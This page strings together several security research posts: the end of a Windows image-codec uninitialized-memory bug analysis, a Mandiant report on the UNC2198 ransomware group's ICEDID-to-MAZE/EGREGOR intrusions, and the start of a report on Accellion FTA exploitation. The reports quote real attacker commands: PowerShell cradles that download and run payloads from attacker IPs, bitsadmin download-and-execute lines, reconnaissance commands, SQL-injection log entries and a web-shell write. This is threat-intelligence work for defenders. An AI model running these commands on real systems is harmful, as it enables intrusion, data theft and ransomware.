00000297`44382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%....<....'.sA.
00000297`44382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  .....>.EL...r.!.
00000297`44382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.;..D..nK.@18.
00000297`44382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ....;...x....Maf
00000297`443821a0  16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}..@..EOy...T.D
00000297`443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(...R....4._o.

Figure 7: Partial population of memory

Use of Uninitialized Memory

0:000> r
rax=0000000000000006 rbx=0000000000000007 rcx=0000000000000200
rdx=0000000000011803 rsi=0000029744382150 rdi=0000000000000000
rip=00007ff94414e837 rsp=000000aaa654f050 rbp=0000000000000001
 r8=0000029744382550  r9=0000000000000000 r10=0000000000000008
r11=0000000000000013 r12=00007ff94418b7b0 r13=0000000000000003
r14=0000000023006c00 r15=00007ff94418bbb0
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
00007ff9`4414e837 0fb606          movzx   eax,byte ptr [rsi] ds:00000297`44382150=06             ; Uninitialized memory being accessed


0:000> db 00000297`44382140
00000297`44382140  5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00 6c  [..U*..o.-..X#.l             // 0x10 bytes from file
00000297`44382150  06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83  .QT..*#:O..'..,.             // uninitialized memory
00000297`44382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%....<....'.sA.
00000297`44382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  .....>.EL...r.!.
00000297`44382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.;..D..nK.@18.
00000297`44382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ....;...x....Maf
00000297`443821a0  16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}..@..EOy...T.D
00000297`443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(...R....4._o.


0:000> k
 # Child-SP          RetAddr           Call Site
00 000000aa`a654f050 00007ff9`4414df80 windowscodecs!CCCITT::Expand2DLine+0x253
01 000000aa`a654f0d0 00007ff9`4412afcc windowscodecs!CCCITT::CCITT_Expand+0xac
02 000000aa`a654f120 00007ff9`4404d3f0 windowscodecs!CCITTDecode+0x7c
03 000000aa`a654f170 00007ff9`4404d2dc windowscodecs!TIFFReadEncodedStrip+0xb8
04 000000aa`a654f1b0 00007ff9`440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74
05 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad
06 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a
07 000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20
08 000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b
09 000000aa`a654f3d0 00007ff9`44043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80
0a 000000aa`a654f4d0 00007ff9`4404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5

Figure 8: Reading of uninitialized value

Depending on the uninitialized value (Figure 8), different code paths are taken in Expand2DLine, which will change the output pixels, as shown in Figure 9.

        if ( v11 != 1 || a2 )
            unintValue = *++allocBuffer | (unintValue << 8);          // uninit mem read
            unintValue <<= 8;
        v16 += 8;
      v29 = unintValue >> (v16 - 8);
      dependentUninitValue = *(l + 2i64 * v29);                           
      v16 -= *(l + 2i64 * v29 + 1);
      if ( dependentUninitValue >= 0 )             // path 1
      if ( dependentUninitValue < '\xC0' )
        return 0xFFFFFFFFi64;                     // path 2
  if ( dependentUninitValue <= 0x3F )              // path xx

Figure 9: Use of uninitialized memory in if conditions


Microsoft decided to patch this vulnerability by using calloc instead of malloc, which initializes the allocated memory with zeros.


Part Two of this blog series presents multiple vulnerabilities in Windows’ built-in image parsers. In the next post, we will explore newer supported image formats in Windows such as RAW, HEIF and more.

So Unchill: Melting UNC2198 ICEDID to Ransomware Operations

25 Feb 2021

Mandiant Advanced Practices (AP) closely tracks the shifting tactics, techniques, and procedures (TTPs) of financially motivated groups who severely disrupt organizations with ransomware. In May 2020, FireEye released a blog post detailing intrusion tradecraft associated with the deployment of MAZE. As of publishing this post, we track 11 distinct groups that have deployed MAZE ransomware. At the close of 2020, we noticed a shift in a subset of these groups that have started to deploy EGREGOR ransomware in favor of MAZE ransomware following access acquired from ICEDID infections.

Since its discovery in 2017 as a banking trojan, ICEDID evolved into a pernicious point of entry for financially motivated actors to conduct intrusion operations. In earlier years, ICEDID was deployed to primarily target banking credentials. In 2020 we observed adversaries using ICEDID more explicitly as a tool to enable access to impacted networks, and in many cases this was leading to the use of common post-exploitation frameworks and ultimately the deployment of ransomware. This blog post shines a heat lamp on the latest tradecraft of UNC2198, who used ICEDID infections to deploy MAZE or EGREGOR ransomware.

Building an Igloo: ICEDID Infections

Separate phases of intrusions are attributed to different uncategorized (UNC) groups when discrete operations such as obtaining access are not part of a contiguous operation. Pure “access operations” establish remote access into a target environment for follow on operations actioned by a separate group. A backdoor deployed to establish an initial foothold for another group is an example of an access operation.

Between July and December 2020, an ICEDID phishing infection chain consisted of a multi-stage process involving MOUSEISLAND and PHOTOLOADER (Figure 1).

Figure 1: Example UNC2420 MOUSEISLAND to ICEDID Infection Chain

MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email (Figure 2). Based on our intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID. Mandiant attributes the MOUSEISLAND distribution of PHOTOLOADER and other payloads to UNC2420, a distribution threat cluster created by Mandiant’s Threat Pursuit team. UNC2420 activity shares overlaps with the publicly reported nomenclature of “Shathak” or “TA551”.

Figure 2: UNC2420 MOUSEISLAND Phishing Email

Ice, Ice, BEACON...UNC2198

Although analysis is always ongoing, at the time of publishing this blog post, Mandiant tracks multiple distinct threat clusters (UNC groups) of various sizes that have used ICEDID as a foothold to enable intrusion operations. The most prominent of these threat clusters is UNC2198, a group that has targeted organizations in North America across a breadth of industries. In at least five cases, UNC2198 acquired initial access from UNC2420 MOUSEISLAND to conduct intrusion operations. In 2020, Mandiant attributed nine separate intrusions to UNC2198. UNC2198’s objective is to monetize their intrusions by compromising victim networks with ransomware. In July 2020, Mandiant observed UNC2198 leverage network access provided by an ICEDID infection to encrypt an environment with MAZE ransomware. As the year progressed into October and November, we observed UNC2198 shift from deploying MAZE to using EGREGOR ransomware during another Incident Response engagement. Like MAZE, EGREGOR is operated using an affiliate model, where affiliates who deploy EGREGOR are provided with proceeds following successful encryption and extortion for payment.

The UNC2198 cluster expanded over the course of more than six months. Mandiant’s December 2020 blog post on UNCs described the analytical tradecraft we use to merge and graduate clusters of activity. Merging UNCs is a substantial analytical practice in which indicators and tradecraft attributed to one group are scrutinized against another. Two former UNCs that shared similar modus operandi were eventually merged into UNC2198.

The Snowball Effect of Attribution

AP created UNC2198 based on a single intrusion in June 2020 involving ICEDID, BEACON, SYSTEMBC and WINDARC. UNC2198 compromised 32 systems in 26 hours during this incident; however, ransomware was not deployed. Throughout July 2020 we attributed three intrusions to UNC2198 from Incident Response engagements, including one resulting in the deployment of MAZE ransomware. In October 2020, a slew of activity at both Incident Response engagements and Managed Defense clients resulted in the creation of two new UNC groups, and another incident attributed to UNC2198.

One of the new UNC groups created in October 2020 was given the designation UNC2374. UNC2374 began as its own distinct cluster where BEACON, WINDARC, and SYSTEMBC were observed during an incident at a Managed Defense customer. Initial similarities in tooling did not constitute a strong enough link to merge UNC2374 with UNC2198 yet.

Two and a half months following the creation of UNC2374, we amassed enough data points to merge UNC2374 into UNC2198. Some of the data points used in merging UNC2374 into UNC2198 include:

  • UNC2198 and UNC2374 Cobalt Strike Team Servers used self-signed certificates with the following subject on TCP port 25055:

C = US, ST = CA, L = California, O = Oracle Inc, OU = Virtual Services, CN =

  • UNC2198 and UNC2374 deployed WINDARC malware to identical file paths: %APPDATA%\teamviewers\msi.dll
  • The same code signing certificate used to sign an UNC2198 BEACON loader was used to sign two UNC2374 SYSTEMBC tunneler payloads.
  • UNC2374 and UNC2198 BEACON C2 servers were accessed by the same victim system within a 10-minute time window during intrusion operations.

The other UNC group created in October 2020 was given the designation UNC2414. Three separate intrusions were attributed to UNC2414, and as the cluster grew, we surfaced similarities between UNC2414 and UNC2198. A subset of the data points used to merge UNC2414 into UNC2198 include:

  • UNC2198 and UNC2414 BEACON servers used self-signed certificates using the following subject on TCP port 25055:

C = US, ST = CA, L = California, O = Oracle Inc, OU = Virtual Services, CN =

  • UNC2198 and UNC2414 installed BEACON as C:\Windows\int32.dll
  • UNC2198 and UNC2414 installed the RCLONE utility as C:\Perflogs\rclone.exe
  • UNC2198 and UNC2414 were proven to be financially motivated actors that had leveraged ICEDID as initial access:
    • UNC2198 had deployed MAZE
    • UNC2414 had deployed EGREGOR

The merge between UNC2198 and UNC2414 was significant because it revealed UNC2198 has access to EGREGOR ransomware. The timing of the EGREGOR usage is also consistent with MAZE ransomware shutting down as reported by Mandiant Intelligence. Figure 3 depicts the timeline of related intrusions and merges into UNC2198.

Figure 3: UNC2198 timeline

UNC2198 Intrusion Flow: After Initial Access

Expanding the UNC2198 cluster through multiple intrusions and merges with other UNC groups highlights the range of TTPs employed. We have pulled out some key data from all our UNC2198 intrusions to illustrate an amalgamation of capabilities used by the threat actor.

Establish Foothold

After obtaining access, UNC2198 has deployed additional malware using various techniques. For instance, UNC2198 used InnoSetup droppers to install a WINDARC backdoor on the target host. UNC2198 also used BITS Jobs and remote PowerShell downloads to download additional tools like SYSTEMBC for proxy and tunneler capabilities. Example commands for download and execution are:

%COMSPEC% /C echo bitsadmin /transfer 257e http:///.exe %APPDATA%.exe & %APPDATA%.exe & del %APPDATA% .exe ^> %SYSTEMDRIVE%\WINDOWS\Temp\FmpaXUHFennWxPIM.txt > \WINDOWS\Temp\MwUgqKjEDjCMDGmC.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\MwUgqKjEDjCMDGmC.bat

%COMSPEC% /C echo powershell.exe -nop -w hidden -c (new-object System.Net.WebClient).Downloadfile(http:///.exe, .exe) ^> %SYSTEMDRIVE%\WINDOWS\Temp\AVaNbBXzKyxktAZI.txt > \WINDOWS\Temp\yoKjaqTIzJhdDLjD.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\yoKjaqTIzJhdDLjD.bat

UNC2198 has used Cobalt Strike BEACON, Metasploit METERPRETER, KOADIC, and PowerShell EMPIRE offensive security tools during this phase as well.

Offensive Security Tooling

UNC2198 has used offensive security tools similarly seen across many threat actors. UNC2198 has used BEACON in roughly 90% of their intrusions. UNC2198 installs and executes Cobalt Strike BEACON in a variety of ways, including shellcode loaders using PowerShell scripts, service executables, and DLLs. While the ways and means of using BEACON are not inherently unique, there are still aspects to extrapolate that shed light on UNC2198 TTPs.

Focusing in on specific BEACON executables tells a different story beyond the use of the tool itself. Aside from junk code and API calls, UNC2198 BEACON and METERPRETER executables often exhibit unique characteristics of malware packaging, including odd command-line arguments visible within strings and upon execution via child processes:

cmd.exe /c echo TjsfoRdwOe=9931 & reg add HKCU\SOFTWARE\WIlumYjNSyHob /v xFCbJrNfgBNqRy /t REG_DWORD /d 3045 & exit

cmd.exe /c echo ucQhymDRSRvq=1236 & reg add HKCU\\SOFTWARE\\YkUJvbgwtylk /v KYIaIoYxqwO /t REG_DWORD /d 9633 & exit

cmd.exe /c set XlOLqhCejHbSNW=8300 & reg add HKCU\SOFTWARE\WaMgGneKhtgTTy /v LbmWADsevLywrkP /t REG_DWORD /d 3809 & exit

These example commands are non-functional, as they do not modify or alter payload execution.

Another technique involves installing BEACON using a file path containing mixed Unicode-escaped and ASCII characters to evade detection:

Unicode Escaped


Unicode Unescaped


The executable was then executed by using a Scheduled Task named shadowdev:

cmd.exe /c schtasks /create /sc minute /mo 1 /tn shadowdev /tr C:\\ProgramData\\S\u0443sH\u0435\u0430ls\\T\u0430s\u0441host.exe

While the previous examples are related to compiled executables, UNC2198 has also used simple PowerShell download cradles to execute Base64-encoded and compressed BEACON stagers in memory:

powershell -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('hxxp://5.149.253[.]199:80/auth'))

powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring("hxxp://185.106.122[.]167:80/a"))

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://195.123.233[.]157:80/casino'))"

Discovery and Reconnaissance

UNC2198 has exhibited common TTPs seen across many threat groups during discovery and reconnaissance activities. UNC2198 has used the BloodHound active directory mapping utility during intrusions from within the “C:\ProgramData” and “C:\Temp” directories.

The following are collective examples of various commands executed by UNC2198 over time to enumerate a compromised environment:

arp -a
whoami /groups
whoami.exe  /groups /fo csv
whoami /all

net user <Redacted>
net groups "Domain Admins" /domain
net group "Enterprise admins" /domain
net group "local admins" /domain
net localgroup "administrators" /domain

nltest /domain_trusts
nltest /dclist:<Redacted>

Lateral Movement and Privilege Escalation

UNC2198 has used Windows Remote Management and RDP to move laterally between systems. UNC2198 has also performed remote execution of BEACON service binaries on targeted systems to move laterally. UNC2198 launches SMB BEACON using PowerShell, executing command lines such as the following:

C:\WINDOWS\system32\cmd.exe /b /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAB

During one intrusion, UNC2198 used the SOURBITS privilege escalation utility to execute files on a target system. SOURBITS is a packaged exploit utility for CVE-2020-0787, which is a vulnerability that was disclosed in 2020 for Windows Background Intelligent Transfer Service (BITS). SOURBITS consists of code derived from a GitHub Repository that is implemented as a command-line utility, which can execute arbitrary files with elevated privileges. UNC2198 used SOURBITS with the following components:


The file is an XOR-encoded PE executable that exploits CVE-2020-0787, and based on the target system's bitness, it will drop one of two embedded SOURBITS payloads.

Data Theft, Ransomware Deployment and #TTR

Like other financially motivated threat actors, part of UNC2198’s modus operandi in latter stages of intrusions involves the exfiltration of hundreds of gigabytes of the victim organizations’ data before ransomware is installed. Specifically, UNC2198 has used RCLONE, a command line utility used to synchronize cloud storage, to aid in the exfiltration of sensitive data. In all observed cases of data theft, RCLONE was used by UNC2198 from the “C:\PerfLogs\rclone.exe” file path.

Time-to-Ransom" (TTR) is the delta between first-attributed access time and the time of ransomware deployment. TTR serves as a useful gauge of how quickly an organization needs to respond to stave off a threat actor’s successful deployment of ransomware. TTR is not a perfect quantification, as external factors such as an organization’s security posture can drastically affect the measurement.

In this post, the TTR of UNC2198 is measured between ICEDID activity to the deployment of ransomware. In July 2020, UNC2198 deployed MAZE ransomware using PSEXEC, and the TTR was 5.5 days. In October 2020, UNC2198 deployed EGREGOR ransomware using forced GPO updates, and the TTR was 1.5 days.

Looking Forward

Threat actors leveraging access obtained through mass malware campaigns to deploy ransomware is a growing trend. The efficiency of ransomware groups places a significant burden on defenders to rapidly respond before ransomware deployment. As ransomware groups continue to gain operational expertise through successful compromises, they will continue to shorten their TTR while scaling their operations. Understanding the TTPs fundamental to a specific operation like UNC2198 provides an edge to defenders in their response efforts. Our unparalleled understanding of groups like UNC2198 is translated into Mandiant Advantage. Accessing our holdings in Mandiant Advantage aids defenders in recognizing TTPs used by threat actors, assessing organizational risk, and taking action. Initial investments made into rapidly assessing a group’s modus operandi pays dividends when they inevitably evolve and swap out components of their toolset. Whether it be MAZE or EGREGOR, something icy or hot, Advanced Practices will continue to pursue these unchill threat actors.


Thank you to Dan Perez, Andrew Thompson, Nick Richard, Cian Lynch and Jeremy Kennelly for technical review of this content. In addition, thank you to Mandiant frontline responders for harvesting the valuable intrusion data that enables our research.

Appendix: Malware Families

PHOTOLOADER is a downloader that has been observed to download ICEDID. It makes an HTTP request for a fake image file, which is RC4 decrypted to provide the final payload. Host information is sent to the command and control (C2) via HTTP cookies. Samples have been observed to contain an embedded C2 configuration that contain the real C2 with a number of non-malicious domains. The non-malicious domains are contacted in addition to the real C2.

WINDARC is a backdoor that hijacks the execution of TeamViewer to perform C2 communication. It supports plugins and accepts several backdoor commands. The commands include interacting with the TeamViewer tool, starting a reverse shell, loading new plugins, downloading and executing files, and modifying configuration settings.

SYSTEMBC is a proxy malware that beacons to its C2 and opens new proxy connections between the C2 and remote hosts as indicated by the C2. Proxied communications are encrypted with RC4. The malware receives commands via HTTP and creates new proxy connections as directed. Underground sales advertisements refer to the software as a “socks5 backconnect system”. The malware is typically used to hide the malicious traffic associated with other malware.

Appendix: Detecting the Techniques

FireEye security solutions detect these threats across email, endpoint, and network levels. The following is a snapshot of existing detections related to activity outlined in this blog post.


Detection Name

FireEye Network Security

  • Downloader.Macro.MOUSEISLAND  
  • Downloader.Win.PHOTOLOADER     
  • Trojan.PHOTOLOADER          
  • Downloader.IcedID
  • Trojan.IcedID             
  • Malicious.SSL.IcedID
  • Malicious.SSL.IcedIdCert
  • Trojan.Malicious.Certificate
  • Backdoor.BEACON
  • Trojan.Generic
  • Trojan.CobaltStrike

FireEye Endpoint Security

Real-Time (IOC)


Malware Protection (AV/MG)

  • Trojan.EmotetU.Gen.*
  • Trojan.Mint.Zamg.O
  • Gen:Variant.Razy.*
  • Gen:Trojan.Heur.TP.TGW@bug909di
  • Gen:Variant.Bulz.1217
  • Trojan.GenericKD.34797730

Appendix: Indicators



















































Appendix: Mandiant Security Validation Actions

Organizations can validate their security controls against more than 60 actions with Mandiant Security Validation.




Phishing Email - Malicious Attachment, MOUSEISLAND, Macro Based Downloader


Malicious File Transfer - MOUSEISLAND, Download, Variant #1


Malicious File Transfer - MOUSEISLAND, Download, Variant #2


Malicious File Transfer - MOUSEISLAND Downloader, Download


Protected Theater - MOUSEISLAND Downloader, Execution


Command and Control - MOUSEISLAND, HTTP GET Request for PHOTOLOADER


Malicious File Transfer - PHOTOLOADER, Download


Command and Control - PHOTOLOADER, DNS Query #1


Malicious File Transfer - ICEDID Stage 3, Download


Malicious File Transfer - ICEDID Final Payload, Download


Command and Control - ICEDID, DNS Query #1


Command and Control - ICEDID, DNS Query #2


Malicious File Transfer - MAZE, Download, Variant #1


Malicious File Transfer - MAZE, Download, Variant #2


Malicious File Transfer - MAZE, Download, Variant #3


Malicious File Transfer - MAZE, Download, Variant #4


Malicious File Transfer - MAZE, Download, Variant #5


Malicious File Transfer - MAZE, Download, Variant #6


Malicious File Transfer - MAZE, Download, Variant #7


Malicious File Transfer - MAZE, Download, Variant #8


Malicious File Transfer - MAZE, Download, Variant #9


Command and Control - MAZE Ransomware, C2 Check-in


Command and Control - MAZE Ransomware, C2 Beacon, Variant #1


Command and Control - MAZE Ransomware, C2 Beacon, Variant #2


Command and Control - MAZE Ransomware, C2 Beacon, Variant #3


Protected Theater - MAZE, PsExec Execution


Protected Theater - MAZE Ransomware, Encoded PowerShell Execution


Protected Theater - MAZE Ransomware Execution, Variant #1


Protected Theater - MAZE Ransomware Execution, Variant #2


Host CLI - MAZE, Create Target.lnk


Host CLI - MAZE, Dropping Ransomware Note Burn Directory


Host CLI - MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.html Variant


Host CLI - MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.txt Variant


Host CLI - MAZE, Desktop Wallpaper Ransomware Message


Malicious File Transfer - EGREGOR, Download


Command and Control - EGREGOR, GET DLL Payload


Protected Theater - EGREGOR, Execution, Variant #1


Malicious File Transfer - BEACON, Download, Variant #1


Malicious File Transfer - BEACON, Download


Command and Control - BEACON, Check-in


Protected Theater - BEACON, Mixed Unicode-Escaped and ASCII Characters Execution


Malicious File Transfer - WINDARC, Download, Variant #1


Malicious File Transfer - SYSTEMBC Proxy, Download


Malicious File Transfer - Rclone.exe, Download


Malicious File Transfer - Bloodhound Ingestor C Sharp Executable Variant, Download


Malicious File Transfer - Bloodhound Ingestor C Sharp PowerShell Variant, Download


Malicious File Transfer - Bloodhound Ingestor PowerShell Variant, Download


Active Directory - BloodHound, CollectionMethod All


Malicious File Transfer - SOURBITS, Download, Variant #1


Protected Theater - CVE-2020-0787, Arbitrary File Move


Command and Control - KOADIC Agent (mshta)


Command and Control - Multiband Communication using KOADIC


Host CLI - Timestomp W/ PowerShell


Host CLI - EICAR COM File Download via PowerShell


Host CLI - EICAR TXT File Download via PowerShell


Host CLI - EICAR, Download with PowerShell


Malicious File Transfer - EMPIRE, Download


Command and Control - PowerShell Empire Agent (http)


Lateral Movement, Execution - PsExec


Scanning Activity - TCP Port Scan for Open RDP


Scanning Activity - UDP Port Scan for Open RDP


Lateral Movement - PSSession and WinRM


Host CLI - Mshta

Appendix: UNC2198 MITRE ATT&CK Mapping

ATT&CK Tactic Category


Resource Development

Acquire Infrastructure (T1583)

  • Virtual Private Server (T1583.003)

Develop Capabilities (T1587)

  • Digital Certificates (T1587.003)

Obtain Capabilities (T1588)

  • Code Signing Certificates (T1588.003)
  • Digital Certificates (T1588.004)

Initial Access

Phishing (T1566)

  • Spearphishing Attachment (T1566.001)

External Remote Services (T1133)

Valid Accounts (T1078)


Command and Scripting Interpreter (T1059)

  • PowerShell (T1059.001)
  • Visual Basic (T1059.005)
  • Windows Command Shell (T1059.003)

Scheduled Task/Job (T1053)

  • Scheduled Task (T1053.005)

System Services (T1569)

  • Service Execution (T1569.002)

User Execution (T1204)

  • Malicious File (T1204.002)

Windows Management Instrumentation (T1047)


External Remote Services (T1133)

Scheduled Task/Job (T1053)

  • Scheduled Task (T1053.005)

Valid Accounts (T1078)

Privilege Escalation

Process Injection (T1055)

Scheduled Task/Job (T1053)

  • Scheduled Task (T1053.005)

Valid Accounts (T1078)

Defense Evasion

Impair Defenses (T1562)

  • Disable or Modify System Firewall (T1562.004)
  • Disable or Modify Tools (T1562.001)

Indicator Removal on Host (T1070)

  • Timestomp (T1070.006)

Indirect Command Execution (T1202)

Modify Registry (T1112)

Obfuscated Files or Information (T1027)

  • Steganography (T1027.003)

Process Injection (T1055)

Signed Binary Proxy Execution (T1218)

  • Mshta (T1218.005)

Subvert Trust Controls (T1553)

  • Code Signing (T1553.002)

Valid Accounts (T1078)

Virtualization/Sandbox Evasion (T1497)

Credential Access

OS Credential Dumping (T1003)


Account Discovery (T1087)

  • Local Account (T1087.001)

Domain Trust Discovery (T1482)

File and Directory Discovery (T1083)

Permission Groups Discovery (T1069)

System Information Discovery (T1082)

System Network Configuration Discovery (T1016)

System Owner/User Discovery (T1033)

Virtualization/Sandbox Evasion (T1497)

Lateral Movement

Remote Services (T1021)

  • Remote Desktop Protocol (T1021.001)
  • SMB/Windows Admin Shares (T1021.002)
  • SSH (T1021.004)


Archive Collected Data (T1560)

  • Archive via Utility (T1560.001)

Command and Control

Application Layer Protocol (T1071)

  • Web Protocols (T1071.001)

Encrypted Channel (T1573)

  • Asymmetric Cryptography (T1573.002)

Ingress Tool Transfer (T1105)

Proxy (T1090)

  • Multi-hop Proxy (T1090.003)

Cyber Criminals Exploit Accellion FTA for Data Theft and Extortion

22 Feb 2021

Starting in mid-December 2020, malicious actors that Mandiant tracks as UNC2546 exploited multiple zero-day vulnerabilities in Accellion’s legacy File Transfer Appliance (FTA) to install a newly discovered web shell named DEWMODE. The motivation of UNC2546 was not immediately apparent, but starting in late January 2021, several organizations that had been impacted by UNC2546 in the prior month began receiving extortion emails from actors threatening to publish stolen data on the “CL0P^_- LEAKS" .onion website. Some of the published victim data appears to have been stolen using the DEWMODE web shell.

Notably, the number of victims on the “CL0P^_- LEAKS" shaming website has increased in February 2021 with organizations in the United States, Singapore, Canada, and the Netherlands recently outed by these threat actors. Mandiant has previously reported that FIN11 has threatened to post stolen victim data on this same .onion site as an additional tactic to pressure victims into paying extortion demands following the deployment of CLOP ransomware. However, in recent CLOP extortion incidents, no ransomware was deployed nor were the other hallmarks of FIN11 present.

We are currently tracking the exploitation of the zero-day Accellion FTA vulnerabilities and data theft from companies running the legacy FTA product as UNC2546, and the subsequent extortion activity as UNC2582. We have identified overlaps between UNC2582, UNC2546, and prior FIN11 operations, and we will continue to evaluate the relationships between these clusters of activity. For more information on our use of ‘UNC’ designations, see our blog post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors."

Mandiant has been working closely with Accellion in response to these matters and will be producing a complete security assessment report in the coming weeks. At this time, Accellion has patched all FTA vulnerabilities known to be exploited by the threat actors and has added new monitoring and alerting capabilities to flag anomalies associated with these attack vectors. Mandiant has validated these patches. Mandiant is currently performing penetration testing and code review of the current version of the Accellion FTA product and has not found any other critical vulnerabilities in the FTA product based on our analysis to date. Accellion customers using the FTA legacy product were the targets of the attack.

Accellion FTA is a 20-year-old product nearing end of life. Accellion strongly recommends that FTA customers migrate to kiteworks, Accellion’s enterprise content firewall platform. Per Accellion, Kiteworks is built on an entirely different code base.

The following CVEs have since been reserved for tracking the recently patched Accellion FTA vulnerabilities:


In mid-December 2020, Mandiant responded to multiple incidents in which a web shell we call DEWMODE was used to exfiltrate data from Accellion FTA devices. The Accellion FTA device is a purpose-built application designed to allow an enterprise to securely transfer large files. The exfiltration activity has affected entities in a wide range of sectors and countries.

Across these incidents, Mandiant observed common infrastructure usage and TTPs, including exploitation of FTA devices to deploy the DEWMODE web shell. Mandiant determined that a common threat actor we now track as UNC2546 was responsible for this activity. While complete details of the vulnerabilities leveraged to install DEWMODE are still being analyzed, evidence from multiple client investigations has shown multiple commonalities in UNC2546's activities.

Evidence of Exploitation and DEWMODE Installation

Mandiant has been able reconstruct many of the details about how Accellion FTAs have been compromised through examination of Apache and system logs from impacted devices—from initial compromise, to deployment of DEWMODE, and follow-on interaction.

The earliest identification of activity associated with this campaign occurred in mid-December 2020. At this time, Mandiant identified UNC2546 leveraging an SQL injection vulnerability in the Accellion FTA. This SQL injection served as the primary intrusion vector.

Mandiant observed evidence of SQL injection followed by subsequent requests to additional resources, as shown in Figure 1.

[21/Dec/2020:18:14:32 +0000] [.'))union(select(c_value)from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#9700968/initial] (1) pass through /courier/document_root.html

[21/Dec/2020:18:14:33 +0000] ['))union(select(loc_id)from(net1.servers)where(proximity)=(0))#/sid#935ee00][rid#9706978/initial] (1) pass through /courier/document_root.html

[21/Dec/2020:18:14:33 +0000] [.'))union(select(reverse(c_value))from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#971c098/initial] (1) pass through /courier/document_root.html

[21/Dec/2020:18:14:34 +0000] [/sid#935ee00][rid#971a090/initial] (1) pass through /courier/sftp_account_edit.php

[21/Dec/2020:18:14:35 +0000] [/sid#935ee00][rid#9706978/initial] (1) pass through /courier/oauth.api

[21/Dec/2020:18:14:35 +0000] [/sid#935ee00][rid#9708980/initial] (1) pass through /courier/oauth.api


Figure 1: SQL injection log

UNC2546 has leveraged this SQL injection vulnerability to retrieve a key which appears to be used in conjunction with a request to the file sftp_account_edit.php. Immediately after this request, the built-in Accellion utility was executed, resulting in an eval web shell being written to oauth.api.

PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/ --edit_user=F
VhZGVyKCdMb2NhdGlvbjogLycpOwp9|base64${IFS}-d|tee${IFS}/home/seos/courier/oauth.api);FUK;",PASSWORD # \" --passwd=pop

Figure 2: Excerpt from log showing creation of eval web shell

The decoded contents are shown in Figure 3.

else if(isset($_REQUEST['username']))
    header('Location: /');

Figure 3: Decoded eval web shell

Almost immediately following this sequence, the DEWMODE web shell is written to the system. The timing of these requests suggests that DEWMODE was delivered via the oauth.api web shell; however, the available evidence does not indicate the exact mechanism used to write DEWMODE to disk.

Mandiant has identified the DEWMODE web shell in one of the following two locations:

  • /home/seos/courier/about.html
  • /home/httpd/html/about.html

The DEWMODE web shell (Figure 4) extracts a list of available files from a MySQL database on the FTA and lists those files and corresponding metadata—file ID, path, filename, uploader, and recipient—on an HTML page. UNC2546 then uses the presented list to download files through the DEWMODE web shell. Download requests are captured in the FTA’s web logs, which will contain requests to the DEWMODE web shell with encrypted and encoded URL parameters, where dwn is the file path and fn is the requested file name (Figure 5). The encrypted file path and name values visible in web logs can be decrypted using key material obtained from the database used by the targeted FTA. Given the complex nature of this process, if your organization needs assistance reviewing relevant logs, please contact Mandiant or Accellion.

Figure 4: DEWMODE web shell screenshot

GET /courier/about.html?dwn=[REDACTED]&fn=[REDACTED] HTTP/1.1" 200 1098240863 "-" "-" "-" TLSv1.2 ECDHE-RSA-AES128-SHA256

Figure 5: DEWMODE File Download URL parameters

Following file downloads, UNC2546 initiates a cleanup routine by passing a specific query parameter named csrftoken with the value 11454bd782bb41db213d415e10a0fb3c to DEWMODE. The following actions are performed:

  • A shell script is written to /tmp/.scr, which will:
    • Remove all references to about.html from log files located in /var/opt/apache/
    • Write the modified log file to /tmp/x then replace the original log file at /var/opt/apache/
    • Delete the contents of the /home/seos/log/adminpl.log log file.
    • Remove /home/seos/courier/about.html (DEWMODE) and /home/seos/courier/oauth.api (eval web shell), and redirect command output to the file /tmp/.out
    • Change the permissions of the output file to be readable, writeable and executable by all users, and set the owner to “nobody”
  • Delete the script file /tmp/.scr and other temporarily created files to assist in cleanup
  • Display cleanup output to the requesting user

